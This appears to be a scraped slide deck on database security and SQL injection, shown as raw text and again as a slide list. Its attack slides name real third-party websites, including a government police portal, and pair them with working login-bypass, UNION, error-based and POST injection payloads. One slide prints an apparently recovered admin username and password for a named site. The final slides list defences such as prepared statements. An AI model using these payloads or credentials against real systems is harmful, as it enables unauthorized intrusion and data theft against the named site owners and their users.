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Database and Database Security.. | PPTX
DATABASE & DATABASE
SECURITY
BY
REHAN MANZOOR
What actually is a database
 Code and Filing concept
+
History of Database
Major Database Vendors
Interaction with Database
How we Interact (Direct
Queries)
Custom defined functions
Stored Procedures
Stored Procedures
Integration with Languages
Static Apps
Dynamic Apps
Need in CMS
How We Integrate
 Well that is the real question how we
integrate.. It create a problem when we don‘t
attach app with a database correctly.. Code
is important
Contents continued..
 Database Attacks
 What is a Database Attack
 Explanation
 OWASP Rating (damage rate)
 Destruction of SQL injection
 History Reviews
 Recent bidding in underground
Database Attacks
 Excessive Privileges
 Privileges abuse
 Unauthorized privilege elevation
 Platform Vulnerabilities
 Sql Injection
 Weak Audit
 Denial of Service
Top 10 vuln by OWASP
Destruction of SQL Injection
Attack
 Heartland Payment Systems
This New Jersey payment processing firm lost
data on tens of millions of credit cards in an
attack in 2009. Around 175,000 businesses
were affected by the theft.
 TJX
More than 45 million people had their credit card
details stolen and some experts said the actual
figure was likely to be closer to 94 million.
Recent Bidding in Underground
Login on Live Sites
 http://www.equinet.ch/fr/gestion/login.php
 1' OR '1'='1
 http://lionsclubofwashim.co.in/admin.php
 1' OR '1'='1
 admin.axilbusiness.in
 1' OR '1'='1
 http://www.anemos.in/admin/
 1' OR '1'='1
 Query Code
 CODE
select username, password from admin
where username='"+txtUserName.Text+"' and password='"+txtPassword.Text+"';
Union based attack
 http://greenforce.com.pk/page.aspx?page_id=24
+UNION+ALL+SELECT+null,null,@@version,null,null,null,nul
l-- -
 http://www.philatourism.com/page.aspx?id=-3 UNION ALL
SELECT table_name,null,null,null,null,null from
information_schema.tables—
 http://www.sharan.org.uk/newsdetail.aspx?ID=-7 union all
select '1',null –
 Code
select * from tblName where
id=‗‖+RequestQueryString[‗id‘]+‖‘;
Error Based Attack
 http://www.vdjs.edu.in/CMS/ContentPage.aspx?id=21 and @@version>1-- -
 http://www.mission-education.org/resourcelist.cfm?audience_ID=5 and
1=convert(int,@@version)-- -&category_id=2
 http://www.grabbbit.com/Product.aspx?console_id=3' and 1=convert(int,(select top 1
column_name from information_schema.columns where table_name='adminlogin'
and column_name not in ('id','userid','password','admin_role_id')))--&type=Preown
 http://www.grabbbit.com/admin/login.aspx
 userid admin
 password grabbbit$
 Code
 Select column1,column2,column3, from table1 join table2 on table1.column1 =
table2.column1 where id=‗‖+RequestQueryString[‗id‘]+‖‘;
Blind Attack
 fgcineplex.com.sg/Images/slideshow/sizzlings
oul.php
 Code
well query is same here like union but problem
is with labels here.. Their designer could are
not picked.. Either they are also stored in
database or they they cannot work with union
POST Sql Injection
 url:
 http://haryanapolice.gov.in/police/pressreleases/s
earch.asp
 Post
 text1=rummy'&text2=11/11/2010&SUBMIT=search
 Code
select * from tablename where text1=
Request.Form[―text1"].ToString() and text2=
Request.Form[―text1"].ToString();
Why Sql Injection Possible
 Who is responsible Database or Programmer
 Why Not To Blame Database
 Database Secure Nature
 Lack of awareness
 No research base study
 Lack of interest
 Non professional coders
Detection of SQL Injection
 Manual Check
 Why
 How
 By Whom
 Automated Check
 Tools
 Scanners
Securing From SQL Injection
 Learn About it
 Firewalls
 By Code
 Don‘t Disclose any parameter as possible
 Giving session user least possible rights
 Blacklisting evil keywords for the session user
 User input validation
 Using prepared statements
More on Firewalls
 USE Of Firewall
 As it is
 Customized
 Buffer overflows
 Null bytes
 Difference between a normal user and Hacker
Buffer Overflows
 Live example
 https://www.qmensolutions.com/remote_suppo
rt_packs.php?packs=9%27--%20-
 Bypassing from keyword
Live Hack Of A Website
 http://aquaservices.co.in/
Conclusion
 Although databases and their contents are
vulnerable to a host of internal and external
threats, it is possible to reduce the attack
vectors to near zero. By addressing these
threats you will meet the requirements of the
most regulated industries in the world.

Database and Database Security..

  • 2.
  • 3.
    What actually isa database  Code and Filing concept +
  • 4.
  • 5.
  • 6.
  • 7.
    How we Interact(Direct Queries)
  • 8.
  • 9.
  • 10.
  • 11.
  • 12.
  • 13.
  • 14.
  • 15.
    How We Integrate Well that is the real question how we integrate.. It create a problem when we don‘t attach app with a database correctly.. Code is important
  • 16.
    Contents continued..  DatabaseAttacks  What is a Database Attack  Explanation  OWASP Rating (damage rate)  Destruction of SQL injection  History Reviews  Recent bidding in underground
  • 17.
    Database Attacks  ExcessivePrivileges  Privileges abuse  Unauthorized privilege elevation  Platform Vulnerabilities  Sql Injection  Weak Audit  Denial of Service
  • 18.
    Top 10 vulnby OWASP
  • 19.
    Destruction of SQLInjection Attack  Heartland Payment Systems This New Jersey payment processing firm lost data on tens of millions of credit cards in an attack in 2009. Around 175,000 businesses were affected by the theft.  TJX More than 45 million people had their credit card details stolen and some experts said the actual figure was likely to be closer to 94 million.
  • 20.
    Recent Bidding inUnderground
  • 21.
    Login on LiveSites  http://www.equinet.ch/fr/gestion/login.php  1' OR '1'='1  http://lionsclubofwashim.co.in/admin.php  1' OR '1'='1  admin.axilbusiness.in  1' OR '1'='1  http://www.anemos.in/admin/  1' OR '1'='1  Query Code  CODE select username, password from admin where username='"+txtUserName.Text+"' and password='"+txtPassword.Text+"';
  • 22.
    Union based attack http://greenforce.com.pk/page.aspx?page_id=24 +UNION+ALL+SELECT+null,null,@@version,null,null,null,nul l-- -  http://www.philatourism.com/page.aspx?id=-3 UNION ALL SELECT table_name,null,null,null,null,null from information_schema.tables—  http://www.sharan.org.uk/newsdetail.aspx?ID=-7 union all select '1',null –  Code select * from tblName where id=‗‖+RequestQueryString[‗id‘]+‖‘;
  • 23.
    Error Based Attack http://www.vdjs.edu.in/CMS/ContentPage.aspx?id=21 and @@version>1-- -  http://www.mission-education.org/resourcelist.cfm?audience_ID=5 and 1=convert(int,@@version)-- -&category_id=2  http://www.grabbbit.com/Product.aspx?console_id=3' and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='adminlogin' and column_name not in ('id','userid','password','admin_role_id')))--&type=Preown  http://www.grabbbit.com/admin/login.aspx  userid admin  password grabbbit$  Code  Select column1,column2,column3, from table1 join table2 on table1.column1 = table2.column1 where id=‗‖+RequestQueryString[‗id‘]+‖‘;
  • 24.
    Blind Attack  fgcineplex.com.sg/Images/slideshow/sizzlings oul.php Code well query is same here like union but problem is with labels here.. Their designer could are not picked.. Either they are also stored in database or they they cannot work with union
  • 25.
    POST Sql Injection url:  http://haryanapolice.gov.in/police/pressreleases/s earch.asp  Post  text1=rummy'&text2=11/11/2010&SUBMIT=search  Code select * from tablename where text1= Request.Form[―text1"].ToString() and text2= Request.Form[―text1"].ToString();
  • 26.
    Why Sql InjectionPossible  Who is responsible Database or Programmer  Why Not To Blame Database  Database Secure Nature  Lack of awareness  No research base study  Lack of interest  Non professional coders
  • 27.
    Detection of SQLInjection  Manual Check  Why  How  By Whom  Automated Check  Tools  Scanners
  • 28.
    Securing From SQLInjection  Learn About it  Firewalls  By Code  Don‘t Disclose any parameter as possible  Giving session user least possible rights  Blacklisting evil keywords for the session user  User input validation  Using prepared statements
  • 29.
    More on Firewalls USE Of Firewall  As it is  Customized  Buffer overflows  Null bytes  Difference between a normal user and Hacker
  • 30.
    Buffer Overflows  Liveexample  https://www.qmensolutions.com/remote_suppo rt_packs.php?packs=9%27--%20-  Bypassing from keyword
  • 31.
    Live Hack OfA Website  http://aquaservices.co.in/
  • 32.
    Conclusion  Although databasesand their contents are vulnerable to a host of internal and external threats, it is possible to reduce the attack vectors to near zero. By addressing these threats you will meet the requirements of the most regulated industries in the world.